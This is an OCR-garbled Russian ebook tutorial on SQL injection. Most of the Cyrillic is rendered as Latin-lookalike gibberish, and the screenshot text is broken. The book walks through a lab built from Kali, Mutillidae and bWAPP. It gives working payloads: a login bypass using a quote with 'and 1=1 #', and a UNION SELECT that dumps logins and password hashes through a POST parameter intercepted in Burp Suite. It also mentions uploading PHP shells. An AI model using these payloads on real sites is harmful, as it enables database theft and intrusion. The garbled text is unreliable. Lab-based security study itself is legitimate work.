BBenenue

3apaBcTBYiTE, JOoporue Apy3bs. S paa, uto Bel XO0TUTE N3yyaTh HaMpaBiICHUE 1O
ys3BUMOCTH SQL-MHBEKIMA. ITO OUEHb MOIIIHAS ¥ KOBapHas yA3BUMOCTD,
KOTOpasi MOXET CTaTh KPUTHYECKOM Ha BeO-pecypce.

Jlns mpopomkeHus: padboTel, Bam npencrout Hactpouts Jlaboparopuro asis
TECTUPOBAHMS, TAK KaK TEKYIIEE 3aKOHOAATEIHCTBO DTUUHBIA XaKep HE MOKET
HapyllaTh, HA TO OHA U ITHKA.

OOpamato Bamie BHUMaHuE Ha TO, YTO 51 HE HECY HUKAKOM OTBETCTBEHHOCTH 32
Bamm neficTBUs IO OTHOUIEHUIO K BEO-TIPHIIOKEHHUSM.

Ha npotskenun Bceit kHUTH, Bac et ncuepnsiBaroiias nHpopMarus,
KacaTeJIbHO 3TOM YS3BUMOCTH, HO HACTOATEIIBHO PEKOMEHIYIO TTOYUTATh
JUTEPATYPY 10 3TOMY SI3BIKY IporpamMmupoBanus. OH HE CJI0KEH, HO TeM He
MeHee BbI JOMIKHBI BUIETh, UTO U3 ¢e0s MpecTaBisieT BeipakeHue SQL.

Jns B3noMa Ham noHanooutces auctpuOytus Debian — Kali Linux (ryrn B
TIOMOIIIB), a TaKKe ysa3BuMas MarmHa Metasploitable 2
(https://sourceforge.net/projects/metasploitable/files/Metasploitable?/), u 3-i
xommoHeHT — 310 PWAPP (bee-box) (https://sourceforge.net/projects/bwapp/).

Bce 310 100po HY)KHO «HAKaThIBAaThy Ha BUPTyalnbHYI0 MamuHy VirtualBox, wim
Vmware. He Oyny 9To onuchIBaTh, Kak U CTPYKTYPY S3bIKa IPOTPAMMHUPOBAHUS
SQL (MoxeT B clneayromeM u3aaHu ).

Hanerock, uTo kKHMra cTaHet AJisi Bac mosie3HbIM pyKOBOJICTBOM MpHU O€30M1aCHOCTH
OT DTOM ySI3BUMOCTH, TaK KAaK aKIEHT A JeJaJl Ha JEeMOHCTPALMIO U 3aIIUTy OT
TaKOM Pa3HOIJIAHOBOW YS3BUMOCTH.


https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://sourceforge.net/projects/bwapp/

Yro Takoe SQL-unbexknun?

SQL-unBEKIUS — ITO JOCTATOYHO PACIPOCTPAHEHHBIN TUIT YI3BUMOCTH, KOTOPBIN
MIOBCEMECTHO BCTpeYaeTcs Ha BeO-caiTax.

[Tepen Tem, Kak UCIONB30BATh 3TY YS3BUMOCTb, 1aBaiiTe pa3depeMcsi B TOM, UTO
takoe SQL B nenoM. CMmbICH 3aKiIt04aeTcs B TOM, 4TO Oosiee-MeHee KPYIHBIN caiT
UMeeT CBOIo 0a3y naHHbIX. Cpa3y BOZHHUKAET BOIIPOC, UTO TaKoe 0a3bl JaHHBIX?

OT0 MecTo, I/Ie XpaHUTCS HHPOPMAIUSI O BCEM, UTO MMPOUCXOIUT Ha BeO-caiTe,
HalpyUMep: U3MEHEHUE UMEH I10JIb30BaTENeH, cTaTeil, cooOIIeHui B 6JI0Te,
KOMMEHTapUSIX.

Tak MOKHO ONUCaTh B3aUMOJICHCTBUE MOJIB30BATENS C CAUTOM, T/I€ OH
MPOU3BOJIUT KaKUe-I0O0 AEHCTBUS, @ UMEHHO J00OaBICHUE KOMMEHTAPHS,
KapTUHKH, yAaneHue u T.4. K yemy s 310 Bce?

Jleno Bce B TOM, YTO 3TH MAHUITYJISIUU MTPOXOJAT € IIOMOUIBIO SI3bIKA
nporpammupoBanus SQL. OH uMeeT CBOI CHHTaKCUC, KOTOPBIM MOX0XK Ha
CTPYKTYpPY NOCTPOCHUSI MPEIOKEHUIN Ha aHTJIMMCKOM si3bIKe. UTOOBI TOHUMATH
MEXaHHKY 3TOTO 53bIKa, BBl MOKETE TOMCKATH JINTEPATYPY B UHTEPHETE 110 ITOMY
Bompocy. S pazoOpaiics CaMOCTOSTENBHO C MOMOIIBIO CAMOYUHTENs, aBTopa JIMHH
betinu «Mzyqaem SQL»:



H3y4daeMm

SQL

B IODANIOK
CBOH
OTHOLIEHHHA
¢ DaHHEIMH

OcBofl KOHUENIHI
H cHHTAKCHC SQL
MAKCHMAJIEHO
spderTHBHO

IepecTans
' cMymaThed
KOMAHIE!
ALTER

S

IIpexpaTH OyTATH
HepBHYHEIE
H BHEUITHHE KJIIIOYH

Byns roToB

IIpoBeps CBOH

O6BACHUTE CYTH anaHHa SQL
HOPMAJIH30BAHHON HA HHTEPEeCHEIX
TabIIHIE yIpamHeHHAX

O REILLY" DZNNTEP

Onacnoctu SQL-nHBbeKIUM.

Ha camom nienie SQL-UHBEKIIMN O4EHb BAXKHBI, U B TOXKE BpeMs onacHbl. Mx
MOKHO HaliTH B CaMbIX pa3HOOOpa3HbIX MecTax Ha caiite. OT JaHHOTrO TUIIA
WHBEKIIUH JOBOJILHO CI0KHO 3aI[UTUTHCS.

Kak s YK€ TOBOpPUJI, OT HUX JOBOJIBHO CJIO)KHO 3allIUTUTBHCA, 1 MOKHO, B KOHCUYHOM
HUTOTIC ITOJYYHUTDb JOCTYII K Oaze JaHHBIX.



B cayugae, ¢ SQL-unbekuueit, He HyKHO 3arpykath php-1emnn Ha caiT, u
IPOBOJIUTH POYNE MAHUITYJISILUU (HAIIPUMED, BBIITOJIHATH 00PaTHOE COCAUHEHHUE).

B 6a3e naHHbIX ecTh Bce, uTo BaM HY>KHO (MMEHa MoJb30BaTeNei, maposu, JaHHbIe
KPEIUTHBIX KapT U T. 11.):

root@timcore: ~ e 0

daitn [lpaska Bug [louck TepmuHan Crnpaska

ock!
of confunk

rning

in set (0.028 sec)

Taxoxe ecThb AOCTYII K KPpSANTHBIM KapTaM:

root@timcore: ~ o ® O
®aiin [paska Bwn Mowck Tepmunan Cnpaska
f/ rows 1n set (VU.UUl seC)

10
gt information for completion of t and ImN nhames
You can turn off th ature to get a quicke o th -A

Database changed
S pl@]> show tables

fffffffffffffffffffffffffffff R T &
gnature is admin

[To-0onbiiomy cuety, SQL-UHBEKIIHS — 3TO NOJAPOK ISl XaKepa, U HE Ha/l0
Ipy3uTh php-IIemisl, K mpuMepy, koraa caiT npu SQL, cTaHOBUTCS OTKPBITON
KHUroi. IHBIMU C1O0BaMHM, IPYrUe YSI3BUMOCTH HE HYXKHBI.



[Tpennonoxum, uto Bel meiTaerech 3arpy3uth php-mesn Ha cepsep. [lomyunnu, u
CJICAYIOLUM II1IaroM HaMm HY>KHO HOJIy4aTh JOCTYH K 0a3e JaHHbIX. Eciau y Hac He
MOJIy4YaeTCsl, TO Mbl MOXKEM IOJIYYUTh HE TaK YK U MHOTO MH(QOPMALIHH.

be3 6a3pl JaHHBIX, CalT HaM JacT Mayio nHopMalnuu. baza 1aHHBIX HYXXHA,
MIPOCTO HEOOXOAMMA.

Ecnu paccmarpuBars aHaToMuI0 php-1iesia, TO B HEKOTOPBIX CUTYallUsX, BTOPBIM
11aroM, Hy>KHO ITOJIy4aTh JOCTYII K 0a3€ 1aHHbIX.

MOXHO MOITY4YUTh AOCTYI K CEPBEPY, HA KOTOPOM JIEKUT MHOKECTBO CAlTOB, TO
MBI MOYEM MPOYHUTATH MH(POPMAINIO, KOTOPAsi HAXOAUTCS 3 MpeneaaMu
JTUPEKTOPUU «WWW/T0o0ot». Bee, TOUHO Takke, Kak U C YI3BUMOCTBIO 3aIlycKa
¢aiinos. Janee, MOXXHO MCIIOJIB30BaTh UM MOJIH30BATENS U NTAPOJIb aMUHA, JJIs
HOTIBITKYU 3arpy3uTh ¢aiibl. Bee mo-ctannapty, MokeM Ipy3uTh php-I1esisl,
O3KIIOpBI U T. ., YTOOBI MOIYYUTh JOCTYH K XKepTBE. MOXKHO Jja’ke UCIOIb30BaTh
SQL-unBbeKuuto, A1 3arpy3ku php-mieia. B nenom ee MOKHO 9KCILITyaTHPOBATh,
KaK ysI3BUMOCTb 3arpy3ku (aiinos (s o SQL-unbeknun). a, u kK ToMy xe, ¢
MOMOIIIbIO HUX MOXHO MOJTyYUTh HOCTYII K 0a3e JaHHBIX.

Bot nouemy OHM OYEHb ONACHBI, U OYE€HB MOJIE3HBI, €CJIN BBl CMOXETE NX HANTH.
IIpoBoagum uszyuenune SQL-unbexuun B POST.

Jlnst Toro, uto0b! HaliTH SQL-uHBEKINH, HY’)KHO U3y4YUTh Banty uens, u
nonpoOoOBaTh B3JIOMaTh KaXIyl0 cTpaHuily. Hampumep, MOXXHO POBECTH
WHBEKIMIO B CeAyomuil mpumep: https://blog.com/page.php?sm=sm.
[TonpoOy#iTe MOCTaBUTh OIMHOYHYIO KaBBIUKY «‘» WJIM UCIOJIB30BaTh BBIPAKEHUE
«and» umm «order by», 4TOOBI clIOMaTh CTPAHUILY.

Janee st xoren Ob1 moka3ats Bam nmpumep, ¢ ucronszoBanueM Mutillidae.
Hy»xHO nepeiTy Ha cTpaHuIly aBTOPU3ALINU:


https://blog.com/page.php?sm=sm
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@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Reset DB View Captured Data
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# 10.0.2.7/mutillidae/index.php?page=login.php

View Log

Toggle Security

Toggle Hints

Home Login/Register

—
ogin
OWASP Top 10 4 9
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Documentation 4

Neme | |

Password

e

e [Ctogn |

hacked...err...quality- Dont have an account? Please register here
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

Q

Jlanee co3maauM HOBBIM aKKayHT, ¢ oMoIbsio «Please register herey:
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Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Reset DB

View Captured Data

Toggle Hints Toggle Security View Log

Home Login/Register

.
EEEE \ Register for an Account |

% Back
Please choose your username, password and signature

Username timcore

Password ssssess

=

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite, Signature
Netcat, and these
Mozilla Add-ons

Confirm Password ssssess

@webpwnized

al :

AKKayHT CO3/aH:
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@%¢ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

:

Register for an Account
V. op

EEED < -

'

T Account created for timcore. 1 rows inserted.

‘ Please choose your username, password and signature |

P Username
Site Password
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

O

Lushownizac

Confirm Password

Signature

Cuauana s ABTOPHU3HUPYIOCHh HAa TaHHOM caure:
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@)%« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Home

Logged In User: timcore ()

Logout Toggle Hints Toggle Security Reset DB View Logq View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP
= 7 Lol

Latest Version / Installation

o Latest Version

+ Installation Instructions

» Usage Instructions

» Getrid of those pesky PHP errors
» Change Log

T~ » Notes
Site 0 o = - ded i i
hacked...err...quality- S WTF and all the tools or you may build your own collection
tested with Samurai
WTF, Backtrack, —
Firefox, Burp-Suite, - Q
Netcat, and these .
Mozilla Add-ons back]track
fwrahnunivad

Kak Bunum, aBTOpr3aIus ycremrHas.
S BBIWY M3 ATOTO aKKayHTa, U MbI TOMIPOOYeM cJiesiaTh UHBEKIIUIO HE METOI0M
«GET» B ctpoke URL, a «POST», uepes monst aBTopr3anum.

B none «Namey, s BBey CBOi1 JIOTHH «timcorey, a B none «Password» no6asiio
OJIMHOYHYIO KaBBIUKY:
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@4 Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home

Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Core Controls

Login

‘OWASP Top 10

Documentation
Resources Please sign-in
Name timcore
Password E
Login
*(Be3 uMeHn) [— O ]

MNpaska [Mouck [MapameTpsl CnpaBka

=
~ ~r . .
JlaBaiiTe monpoOyeM citomaTh 3ToT caiT. JKmem Login:
Mouzilla Firefox o ® 0
$ 10.0.2.7/mutillidae/inde: x | +
<« c @ ® & 10.0.2.7/mutillidae/index.php?page =login.php - 1| | Q Search n @ =
¥ Most Visited [l Offensive Security " KaliLinux % KaliDocs “, KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums “ NetHunter “ KaliTraining @ Getting Started
Message
Information
Did you setup/reset the DB?
Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 148
Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 254
Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 255
Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
index.php on line 256
Q}@ Mutillidae: Born to be Hacked
2.1 10 < it Laval: N (Macad) Mintec: N i I IOV Alot 1 A I .

U, xak Buaute, iepea Hamu omuodka. Cyns Mo Bcemy, 9T0O onOKa 6a3bl TaHHBIX.
Ho tax OGynet He Bcerja, Tak Kak MOXKET ObITh COBEPIIIEHHO JIPYTOi BHIBO/ OIIHOKH
Ha CTpaHMIIC WJIM CTPAHUIAX caliTa WiIu CaiTOB. MOXKeT OBITh BEIBOJI

AOMOJHUTCIIBHOTO TCKCTA, MOXKCT HCYUC3HYTH CTATbhA B oyore u T. . HpI/IMepOB Ha
caMOM ACJIC Macca.

B nHamewm npumepe yka3zaH ¢aiii, B KOTOpOM BO3HHUKIIA 3Ta OMIMOKA, a TAKXKE JaHO
OIKCaHUE TOTO, YTO OHA BO3HUKIJIA U3-3a KABBIYKU:
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£ 10.0.2.7/mutillidae/index.p

ge=login.p

Line
Code | I — N
| File Frvariwwwimutilidaelprocesslogin-atemptohp | mmmmmmmmmmmmmmmmmmm—m—m———— .
| Message i1 Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntaxli

Trace

Diagnotic
Information

Warning: Cannot modify header information - headers already sent by (output started at fvar/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
findex.php on line 148

Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 254

Warning: Cannot modify header information - headers already sent by (output started at fvar/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
findex.php on line 255

Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
index.php on line 256

@4 Mutillidae: Born to be Hacked

2110 Sacurity Laual: 0L ) Minte: D I0__1#r hardar) Rl I I

OOparute BHUMaHue Ha nonie «Diagnostic Information», rae cucrema nelTanack
BBIIIOJIHUTH KOMAH]Ty:
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Error: Failure is always an option and this situation proves it

Line
Code o]
o File o ,’var,’wwwjmu=tiIlid-=3=efpr0cess-l=l)=gin-att:(;mpt php

Message ) frror executj:ng q;ery: You ha:\:'e an e:r:ror in your SQL syrzli:ax; check the manual that cur:r:espon:c:I:s to your My:‘.;:OL sze:r:\:ter version for::t:r;e right synt:ax:
. o use near """ at line 1 - B
Trace 7 :#0 /var/www}mutiilidae.’index?bhp(%i: include() #V]V.N{mai'rrlr}
|r?ri:.g"r‘|::ii;n SELECT * FROM accounts WHERE username='timcore' AND password=""

Did you setup/reset the DB?

Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 148

Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 254

Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
/index.php on line 255

Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae
index.php on line 256

@4« Mutillidae: Born to be Hacked

AL i 21 10 Carurityu | aual: 0 (L A Minte: Dicahlad (0 1 fru hardar) Alnt L A ln

B mapamerpe «username» yke CyIIECTBYIOT KaBbIUKH, KOTOPbIE 0OpaMJIIEHbI B
Hayalie U B KOHIIE JIOTMHA, a TAK)KE €CTh KaBbIYKU U B MapaMeTpe «password.

Tpu KaBBIYKH TOBOPAT HAM O TOM, YTO MOYKHO OCYIIECTBUTHh SQL-UHBEKITNIO
npo1ieHToB Ha 60-70. MbI moka He 3HaeM, MOKEM JIK MbI 3aCTaBUTh CAlT
3aIyCTUTh TO, YTO MBI XOTHM.



CHoBa mepexoIuM Ha CTpaHUIly aBTopu3anuu. S BBoxy B mosie «Name» -
«timcorey, a B mojie «Password» - «timcore», HO B KOHIIE 3alIUCH S JOOaBIIO
KaBBIUKY «“».

3aueM s 3aKpbIBaro Maposib? Jeo B ToM, 4TO cucTeMa Oy/leT MbITaThCs BBITTOJIHUTh
BeIpaxkeHue: «Select * from accounts where username=,,timcore* and
password="$pass‘». Ilapois y Hac OyJeT B Ka4eCTBE IICPEMCHHOM:
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@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In
Reset DB View Captured Data

View Log

Home Login/Register Toggle Hints Toggle Security

.
Login

OWASP Top 10 12
d

Name timcore
Password
Login .
*(Be3 umenn) [— IO - ]
hackec
testeg Pain MNpaska Mowuck MMapametpsl Cnpaska
WTE'
FirefgSelect * from accounts where username='timcore' and password='$pass’'
Netc

Moz 'timcore|

Bawm npocto HyXHO MpeAcTaBUTh, KaKk BCe pabOTaeT.
JlaBaiiTe BCTaBUM MapoJib, KOTOPBIN 51 Oyly BBOJIUTH B KAYECTBE MEPEMEHHOI,
IUTI0C 100aBUM BhIpakeHue «and 1=1»:

*(Bes MMeHH) [— O -]
®ain [pasxa [Nowck [apameTpsl Cnpaska

Select * from accounts where username='timcore' and password='timcore'and 1=1'|

‘timcore’

B s10i1 3anucu ecTh onHa mpobiema, a UMEHHO CalT Oy/eT *anoBaTbCs Ha
MOCJIEAHIO0 KaBbIUKY. [Ipeiarato 3akoMMEHTHPOBATh 3Ty KaBBIUKY, C TIOMOILBIO

CHUMBOJIA «#»:



*({Be3 uMeHH) (-] °.

daitn MNpaeka Mowuck lMapametpsl CnpaBka
Select * from accounts where username='timcore' and password='timcore'and 1=1 #'

‘timcore"

B utore 3anuck Oyaer uMeTh BU/I;

*(Bes umeHH) [ C} °

®ain [paeka Mouck MapameTpel Cnpaska

Select * from accounts where username='timcore' and password='timcore'and 1l=1#'

'timcore’

BBoaum napons B nose «Passwordy»:
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Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
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Home Login/Register Toggle Hints Toggle Security Reset DB 'w Log View Captured Data

_
Login
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| Please sign-in ‘

Name timcore

I Password l-

e

hacked...err...quality- Dont have an account? Please register here
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

[ — jl
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Aumahrunmnizad

W MBI ycienmHo aBTOPU30BaJIUCH:
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Security Level: 0 (Hosed)

Home
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B o6mem, MBI MOXeM HCTIIONTB30BaTh moe «Passwordy» s Beimonnerus SQL-

KoAa.

Yazsumocts SQL-Injection (POST/Select).



[Iponomxkaem paccmarpuBath SQL-UHBEKIIUH, B YaCTHOCTH, KOTOPBIE YSA3BUMBI U
nepenatorcst metogom POST, ¢ Beibopom «Selecty.

CyTb CTpaHHMIIBI 3aKITI0YAETCS B TOM, UYTO CYIIECTBYET BBIOOp criucka (GUiIbMOB, U
BBIBOJUT HUH(OpMAILIKIO O PUIIbME, TTOCIIe HAXKaTUsI KHOTIKU «GO»:

bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec: X | 3 bWAPP - SQL Injection X +

& C ® 10.0.2.18/bWAPP/sqli_13.php

£+ Most Visited @ Getting Started %, Kali Linux " Kali Training “\ Kali Tools “ KaliDocs “ Kali Forums “§ NetHunter [l Offensive Sec
I\ =4

an ex+r'eme|\/ buﬂﬂy web app !

Buaﬁ; Chan@e Password Create User Set Securi+y Level Reset Credits Bloe Log

/ SQL Iniection (POST/Select) /

Select a movie:| Iron Man v i Go

Title Release Character Genre IMDb

bWAPP is licensed under [[@) sv-ne-ro | € 2014 MME BVBA / Folow on Twitter and ask For our cheat sheet, containing all solutior

Kaxk Br1 yxxe noranammce, B anpecHor crpoke URL mb1 HU4Uero ne Buaum, u He
CMOXEM OTIIPABUTH YEPE3 ATO IOJIE BHIPAKECHUE.

MoxHO BOCHOJIb30BaThCsl MHCTpyMEHTOM «Burp Suite» u nepexsarbiBarh Tpaduk,
TE€M CaMbIM BHEJIPUB CBOE BBIPA)KECHUE.

JlaBaiiTe mpUCTyNUM U CKOHHEKTUM Har Opaysep ¢ BurpSuite. 91o Br1 yxe
JOJDKHBI YMETh, IOATOMY 5 He OyAy pacluchiBaTh 3TO.



B BurpSuite nepexonum Ha BkIaaky «Proxy», «Intercept», B Opay3epe HaxmMeM
KHOTNIKY «GO»:

bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec. X ‘ = bWAPP - SQL Injection X ‘+

< - X @ ® 10.0.2.18/bWAPP/sqli_13.php
£* Most Visited @ Getting Started "\ KaliLinux "\ Kali Training "\ Kali Tools % KaliDocs "y Kali Forums “\ NetHunter [jl] Offensive Security = |

5@ Burp Suite Community Edi
\‘ Burp Intruder Repeater Window Help

I Target | Prosxy TSpider TScanner Tlntruder TRepeater TSequencer TDecoder Comj

u Intercept THTTP history TWebSockets history TOptions ]

an extremely buggy web g

w Request to http://10.0.2.18:80

[ Forward J L Drop J [ Interceptis on | Action

Params

Headers

- - POST /bWAPP/sqli_13.php HTTP/1.1
Bu@r; L/hange Password Create User Set Hosk 18 s Al

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/6€
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

< » Referer: http://10.0.2.18/bWAPP/sqli_13.php
/ S&I_ In ec+lon POST} Content-Type: application/x-www-form-urlencoded

Content-Length: 17

Cookie: security_level=0; PHPSESSID=ebal0c06d2254833a9cfld6a2c592ca2

; 3 Connection: close
Selectamowe,‘ Iron Man VH Go ‘ Upgrade-Insecure-Requests: 1

movie=2&action=go
Title Release C

WNaiting for 10.0.2.18... S —
m EESE3Es]

B Burp Suite BuguM BbIBOJ MH(OPMALIMY 110 COETUHEHHUIO.

[TonMeHsiem mapaMeTp B MOCJEIHEN CTPOKE Ha BeIpaxeHue: «movie=200 union
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£¥ Most Visited @ Getting Started " KaliLinux “§ Kali Training “\ Kali Tools “ Kali Docs "\ Kali Forums “\ NetHunter [l Offensive Security # Exploj
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¥

an ex’rr‘eme\y buagy web opp !

Bu@s Chanﬁe Password Create User Set Securi+y Level Reset Credits Blog Logou+

-

/ SQL Injection (POST/S€elect) /

Selecta movie:| G.l. Joe: Retaliation v|l Go

Title Release Character Genre IMDb

088

2 3

(&)}

4 Link

bWAPP is licensed under [@) ev-rnc-no | © 2014 MME BVBA / Folow

on Twitter and ask For our cheat sheet, containing all solutions! / Need an ex

Buaum BeIBOI CTONIOIIOB.

[Iponomxaem uccienoBaHue, U MOMpoOyeM BBIBECTH JIOTUH U MAPOJIh
nosib3oBarensi. Ham nmonano6utcs Beipakenue: «777 union all SELECT
1,login,password,secret,email,admin,7 from users where id=2- - -»:



bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Seci X | 3 bWAPP - SQL Injection X | =+

€ c @ ® 10.0.2.18/bWAPP/sqli_13.php
£¥ Most Visited @ Getting Started "%, Kali Linux " Kali Training " Kali Tools " KaliDocs “ Kali Forums “§ NetHunter [l Offensive Security # Exploi

an ex’rremely buaay web opp !

Buﬁs Chanﬁe Password Create User Set Securi‘r\/ Level Reset Credits Blog LoaomL

/ SQL Injection (POST/Sé€lect) / &
Select a movie 7G.I.Joe:ReIaliaIion vl Go \ ﬁ
Title Release Character Genre IMDb ﬂ
: e pa o bwapp- Any ) | & |
bee 6885858486f31043e5839¢ 735d99457f045affd0 = Link
bee@mailinator.com bugs?

bWAPP is licensed under © 2014 MME BVBA / Folow on Twitter and ask For ocur cheat sheet, contaning all solutions! / Need an ex

B urtore MbI y3HaIM JIOTWH U TTApoJib ToJib3oBarens «beey». [lapons 3axemmpoBaH.

Vazsumocts SQL Injection (POST/Search).

[Iponomkaem paccMarpuBaTh yI3BUMOCTH, B 4aCTHOCTH SQL mHBEKIINH, KOTOPBIE
MOXXHO OOHApY>KUTh B TOUCKE, nepeaaBaeMbie MeTogoM POST. Dtot meTox
3HAYUT, YTO MBI HE MOXEM BHJIETh MH(OPMAIIHIO, KOTOpas TIEPEeIaeTCs U3 MO

DTO0 MpenaTCTBUE JIETKO 0OOUTH ¢ TIOMOIILI0 HHCTpyMeHTa Burp Suite.
JlaBaiiTe OyzieM ABUTATHCS MO-TIOPSJIKY, M IIPOCTO MPOBEPHUM CTPAHUILY HA MPEIMET
KOppeKTHOM paboThl. JKmeM KHOTIKY «Searchy, 1 BUaM pe3ynbrar:



bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sect. X | 3 bWAPP - SQL Injection X +

<€)= ¢ @ ® 10.0.2.18/bWAPP/sqli_6.php
£¥ Most Visited @ Getting Started " Kali Linux % Kali Training " Kali Tools " KaliDocs "y Kali Forums “y NetHunter [ Offensive Securit

an ex+reme|y louaa\/ web opp |

Bu@q Chanzje Password Create User Set Securi+y Level Reset Credits Bloe) L_oaou+
/ SQL Injection (POST/Search) /
Search for a movie }b Search |
Title Release Character Genre IMDb
G.l. Joe: Retaliation 2013 Cobra Commander action Link
Iron Man 2008 Tony Stark action Link
Man of Steel 2013 Clark Kent action Link
Terminator Salvation 2009 John Connor sci-fi Link
The Amazing Spider-Man 2012 Peter Parker action Link
The Cabin in the Woods 2011 Some zombies horror Link

bWAPP s licensed under © 2014 MME BVBA / Follow on Twitter and ask For cur cheat sheet, containing all solutions! /

Crpanuia oToOpakaeTcsi KOppEKTHO, M MBI €IIIe pa3 yoex1aemcs, 4TO JJaHHbBIS
BeIBOOATCS MeTOAOM «POST».

CrnenyromuM marom ajis Hac OyJieT KOHHEKT HHCTpyMeHTa BurpSuite Ha nepexsar
Tpaduka B Opay3zepe Mozilla Firefox. HacTpoiika 1octatodyHo npocra, HO TeM He
MEHee 51 XOTeJl Obl MOBTOPUTH €€.

[Tepexoaum B npaBbiii BepxHUit yroi (Oyprep), Ha Bkianaky «Preferencesy». Jlanee
nepexoquM B «Network Proxy»:



Preferences - Mozilla Firefox [- O -]

Kali Linux, an Offensive Seci X ‘ ‘s bWAPP - SQL Injection XI 3 Preferences I X |+

“ > ¢ 0 © Firefox | about:preferences 4 i @
¥ Most Visited @ Getting Started W, Kali Linux "\ Kali Training "\ Kali Tools " KaliDocs % KaliForums “\ NetHunter [l Offensive Security & Exploit-DB & GHDB [l MSFu

© Find in Preferences

{1- General Kali- 1.0
¥ Automatically update search engines
Q Search
a Privacy & Security Performance
G Firefox Account ¥ Use recommended performance settings Learn more
These settings are tailored to your computer’s hardware and operating system
Browsing
Use autoscrolling
¥ Use smooth scrolling
Always use the cursor keys to navigate within pages
Search for text when you start typing
Network Proxy
@ Firefox Support Configure how Firefox connects to the internet. Learn More Settings...
p— -

Jlanee «Settings», u «Manual Proxy Configuration», rae nponuceBaem: 127.0.0.1
u opt 8080:

Preferences - Mozilla Firefox

Kali Linux, an Offensive Seci. X | ¥ bWAPP - SQL Injection X 3% Preferences x |+

«)=> C @ |b Firefox | about:preferences
£+ Most Visited @ Getting Started "%, KaliLinux " Kali Training "\ KaliTools “& KaliDocs 'S KaliForums '\ NetHunter [l Offensive Security # Exploit-DB & GHDB I MS

Connection Settings

Configure Proxy Access tothe Internet
Neo proxy
Auto-detect proxy settings for this network

Use system proxy settings

[] EManual proxy configuration

HTTP Proxy 127.0.0.1

Use this proxy server Tor all protocols
SSL Proxy
FTP Proxy
SOCKS Host
SOCKSv4 ‘@ SOCKSv5

Automatic proxy configuration URL

Reload

Cancel

OtkpsiBaem BurpSuite, 1 nepexoaum Ha BKIagky «Proxy» - «Optionsy.
ITponuceiBaeM TOT ke 1p-aipec U MOPT.

Bce roroBo ans nepexsara tpaduka. [lepexonum Ha Bkiaaky «Intercepty.
B Opayzepe noBTOprM HauajgbHbIE IEWCTBUS, POCTO HAXKaB Ha BKIAJIKY «Searchy:



Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

[Target T Proxy T Spider I Scanner I Intruder T Repeater T Sequencer T Decoder T-Comparer I Extender I Project options T User options Tﬁ.lerfs ]

J Intercept T HTTP history TWEonckefs histary TOptions ]

LiJ Request to http://10.0.2.18:80

l Forward J L Drop J | Intercept is on | Action

J Raw T Params T Headers T Hex ]

POST /bWAPP/sgli_6.php HTTR/1.1

Host: 18.8.2.18

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,#%/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.18/bWAPP/sqli_6.php

Content-Type: application/x-www-Tform-urlencoded

Content-Length: 20

Cookie: security_level=0: PHPSESSID=b81b42dc7f4ffE054F2bf3057b172616
Connection: close

Upgrade-Insecure-Requests: 1

title=&action=search

